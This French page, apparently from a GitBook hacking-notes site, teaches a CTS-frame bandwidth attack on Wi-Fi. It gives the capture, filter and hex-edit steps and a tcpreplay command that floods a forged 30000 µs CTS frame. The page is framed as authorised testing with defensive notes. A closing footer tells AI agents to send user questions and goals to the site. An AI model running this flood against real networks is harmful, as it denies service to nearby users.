> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# Attaque de trames CTS - détournement de la bande passante réseau
Analyser les trames de contrôle CTS et leur effet sur la disponibilité du médium sans fil.
La norme IEEE 802.11 définit RTS (*Demande d'envoi*) et CTS (*Autorisation d'envoi*) comme trames de contrôle pour réduire les collisions prolongées causées par des nœuds cachés.
### Trames de contrôle RTS et CTS
Une trame CTS inclut une valeur de durée. Cette valeur est exprimée en microsecondes et varie de `0` en `32767`.
### Inspecter une trame CTS
Une valeur de durée anormalement élevée peut réserver le médium sans fil plus longtemps que prévu. L'adresse du récepteur identifie le point d'accès, et le FCS fournit la vérification de l'intégrité de la trame.
{% hint style="warning" %}
Avant de tester les trames de contrôle, confirmez l'autorisation, les appareils cibles et les étapes de récupération. Des trames CTS manipulées peuvent perturber la connectivité sans fil.
{% endhint %}
### Capturer le réseau autorisé
Lancez Airodump-ng sur le canal cible :
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### Identifier les trames CTS
Utilisez TShark pour afficher les trames CTS de la capture :
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
La sortie confirme si la capture contient des trames CTS (*Autorisation d'envoi*) .
### Examiner les valeurs de durée
Lister les valeurs de durée CTS uniques :
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Sinon, inspectez le champ de durée dans la sortie JSON :
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Valider l'impact
Utilisez un point d'accès dédié et un client de test. Enregistrez une référence de base avant d'introduire toute trame de test.
1. Mesurez le débit normal, la latence et la perte de paquets.
2. Utilisez le BSSID du point d'accès comme adresse du récepteur.
3. Comparez les mesures après le test limité.
Une durée de `30000` représente 30 millisecondes. Le champ de durée utilise des microsecondes, et non des millisecondes.
### Interpréter les résultats
Des trames CTS répétées avec des valeurs de durée élevées peuvent amener les stations à proximité à différer leur transmission. Cela réduit le temps d'antenne disponible et peut diminuer le débit du réseau.
Comparez les valeurs de durée capturées avec la référence de base. Notez si les clients restent connectés et si les performances se rétablissent après l'arrêt du test.
### Documenter les constatations défensives
Indiquez le canal affecté, le point d'accès, la durée du test et l'impact observé sur le client. Incluez les mesures de base et de récupération.
Surveillez les trames CTS répétées avec des valeurs de durée inhabituelles. Maintenez le micrologiciel du point d'accès à jour et enquêtez sur toute saturation inattendue du temps d'antenne.
### Inspecter les trames CTS avec Wireshark
Ouvrez la capture directement dans Wireshark :
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Appliquez le filtre d'affichage suivant :
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Les détails IEEE 802.11 affichent également la valeur de durée (110 microsecondes)
### Exporter une trame CTS sélectionnée
Sélectionnez une trame CTS et utilisez **Fichier → Exporter les paquets spécifiés**. Choisissez **Paquet sélectionné uniquement** pour n'exporter que cette trame.
### Inspecter la trame exportée avec GHex
Ouvrez la capture exportée avec GHex :
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Le fichier exporté peut ne pas contenir la trame attendue. Dans ce cas, capturez directement depuis l'interface en mode moniteur et vérifiez la trame dans Wireshark.
### Capturer directement avec Wireshark
Capturez directement lorsque le fichier exporté ne contient pas la trame CTS attendue.
Ouvrez Wireshark, sélectionnez l' `wlan0mon` interface, puis appliquez le filtre d'affichage CTS :
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
Par exemple, la première trame affiche une durée de 132 microsecondes. Vérifiez que son adresse de destination correspond au point d'accès de test autorisé.
Exportez la trame sélectionnée sous `ctsframe.pcap`.
Ouvrez le fichier et localisez la valeur de durée. Les octets après l'adresse MAC de 12 caractères sont `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Conversion de `0x0084` en décimal donne la même valeur affichée dans le paquet : 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
Convertir 30000 en hexadécimal :
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
Le résultat est :
* 0x7530
Pour ce test limité, remplacez `84 00` par `30 75`. Les octets utilisent l'ordre little-endian.
Ouvrez à nouveau la capture pour vérifier la modification :
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Wireshark affiche maintenant une durée de 30 000 microsecondes.
Avant d'utiliser la commande suivante, confirmez l'appareil cible, le canal, la durée et la fenêtre de récupération. Elle transmet à plusieurs reprises la trame de test pour mesurer l'impact sur le réseau.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
La commande boucle sur 2 000 paquets. Chaque paquet annonce une durée de 30 000 microsecondes, ce qui peut épuiser le temps d'antenne disponible.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
